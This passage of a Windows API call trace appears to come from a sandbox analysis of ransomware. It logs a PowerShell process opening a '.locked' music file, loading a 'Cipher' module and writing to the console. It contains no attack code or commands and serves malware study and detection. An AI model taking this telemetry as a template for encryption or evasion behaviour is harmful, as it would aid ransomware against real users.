Data4=([0]=0x46, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.538] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x45, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.538] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x46, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x46, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.539] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x46, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.539] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.539] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x47, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.539] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x46, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.539] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x47, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x47, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.541] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x47, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.543] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x99add1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0134.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0134.544] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\863xtgylirzqb.mp3.locked"), fInfoLevelId=0x0, lpFileInformation=0x6a67710 | out: lpFileInformation=0x6a67710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x136761ff, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x136761ff, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x1369c1d3, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x6644)) returned 1 [0134.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0134.544] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3.locked", lpFilePart=0x0) returned 0x34 [0134.544] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\863xtgylirzqb.mp3.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0134.544] GetFileInformationByHandle (in: hFile=0x858, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0134.544] CloseHandle (hObject=0x858) returned 1 [0134.545] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae54c | out: lpConsoleScreenBufferInfo=0x99ae54c) returned 1 [0134.546] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae554 | out: lpMode=0x99ae554) returned 1 [0134.546] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae54c, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae54c*=0x2) returned 1 [0134.554] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4f0 | out: lpConsoleScreenBufferInfo=0x99ae4f0) returned 1 [0134.554] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0134.555] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0134.555] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0134.559] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae554 | out: lpConsoleScreenBufferInfo=0x99ae554) returned 1 [0134.560] GetConsoleOutputCP () returned 0x1b5 [0134.560] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2d8) returned 0 [0134.560] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3a4 | out: lpConsoleScreenBufferInfo=0x99ae3a4) returned 1 [0134.560] GetConsoleOutputCP () returned 0x1b5 [0134.561] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae340, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae340) returned 0 [0134.561] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0134.561] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a8f408*, nNumberOfCharsToWrite=0x2a, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x6a8f408*, lpNumberOfCharsWritten=0x99ae3a4*=0x2a) returned 1 [0134.562] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0134.562] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3a4*=0x2) returned 1 [0134.566] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4ac | out: lpConsoleScreenBufferInfo=0x99ae4ac) returned 1 [0134.566] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4b4 | out: lpMode=0x99ae4b4) returned 1 [0134.567] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4ac, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4ac*=0x2) returned 1 [0134.572] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0134.572] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0134.572] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0134.576] GetConsoleOutputCP () returned 0x1b5 [0134.576] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0134.576] GetConsoleOutputCP () returned 0x1b5 [0134.576] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0134.576] GetConsoleOutputCP () returned 0x1b5 [0134.577] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0134.577] GetConsoleOutputCP () returned 0x1b5 [0134.577] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0134.577] GetConsoleOutputCP () returned 0x1b5 [0134.577] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0134.577] GetConsoleOutputCP () returned 0x1b5 [0134.577] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0134.577] GetConsoleOutputCP () returned 0x1b5 [0134.578] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0134.578] GetConsoleOutputCP () returned 0x1b5 [0134.578] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0134.578] GetConsoleOutputCP () returned 0x1b5 [0134.578] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0134.578] GetConsoleOutputCP () returned 0x1b5 [0134.579] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0134.579] GetConsoleOutputCP () returned 0x1b5 [0134.579] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0134.579] GetConsoleOutputCP () returned 0x1b5 [0134.579] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0134.579] GetConsoleOutputCP () returned 0x1b5 [0134.580] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0134.580] GetConsoleOutputCP () returned 0x1b5 [0134.580] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0134.580] GetConsoleOutputCP () returned 0x1b5 [0134.580] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0134.580] GetConsoleOutputCP () returned 0x1b5 [0134.581] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0134.581] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0134.581] GetConsoleOutputCP () returned 0x1b5 [0134.582] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0134.582] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0134.582] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a90220*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x6a90220*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0134.582] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0134.583] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0134.587] GetConsoleOutputCP () returned 0x1b5 [0134.588] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0134.588] GetConsoleOutputCP () returned 0x1b5 [0134.588] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0134.588] GetConsoleOutputCP () returned 0x1b5 [0134.589] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0134.589] GetConsoleOutputCP () returned 0x1b5 [0134.589] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0134.589] GetConsoleOutputCP () returned 0x1b5 [0134.589] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0134.589] GetConsoleOutputCP () returned 0x1b5 [0134.590] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0134.590] GetConsoleOutputCP () returned 0x1b5 [0134.590] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0134.590] GetConsoleOutputCP () returned 0x1b5 [0134.590] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0134.590] GetConsoleOutputCP () returned 0x1b5 [0134.590] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0134.590] GetConsoleOutputCP () returned 0x1b5 [0134.591] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0134.591] GetConsoleOutputCP () returned 0x1b5 [0134.591] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0134.591] GetConsoleOutputCP () returned 0x1b5 [0134.591] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0134.591] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0134.592] GetConsoleOutputCP () returned 0x1b5 [0134.592] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0134.592] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0134.592] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a90c78*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x6a90c78*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0134.593] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0134.593] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0134.596] GetConsoleOutputCP () returned 0x1b5 [0134.597] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.597] GetConsoleOutputCP () returned 0x1b5 [0134.597] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.597] GetConsoleOutputCP () returned 0x1b5 [0134.597] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.597] GetConsoleOutputCP () returned 0x1b5 [0134.598] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.598] GetConsoleOutputCP () returned 0x1b5 [0134.598] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.598] GetConsoleOutputCP () returned 0x1b5 [0134.598] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.598] GetConsoleOutputCP () returned 0x1b5 [0134.599] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.599] GetConsoleOutputCP () returned 0x1b5 [0134.599] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.599] GetConsoleOutputCP () returned 0x1b5 [0134.600] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.600] GetConsoleOutputCP () returned 0x1b5 [0134.600] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.600] GetConsoleOutputCP () returned 0x1b5 [0134.600] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.600] GetConsoleOutputCP () returned 0x1b5 [0134.601] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.601] GetConsoleOutputCP () returned 0x1b5 [0134.601] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0134.601] GetConsoleOutputCP () returned 0x1b5 [0134.601] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0134.601] GetConsoleOutputCP () returned 0x1b5 [0134.602] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.602] GetConsoleOutputCP () returned 0x1b5 [0134.602] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0134.602] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0134.602] GetConsoleOutputCP () returned 0x1b5 [0134.603] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0134.603] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0134.603] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a92a84*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6a92a84*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0134.603] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0134.604] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0134.607] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x47, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.607] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.607] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.607] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0134.607] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x48, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.607] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.607] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x48, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x48, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.607] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0134.608] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0134.608] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.608] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x48, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.608] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x1a, [2]=0x30, 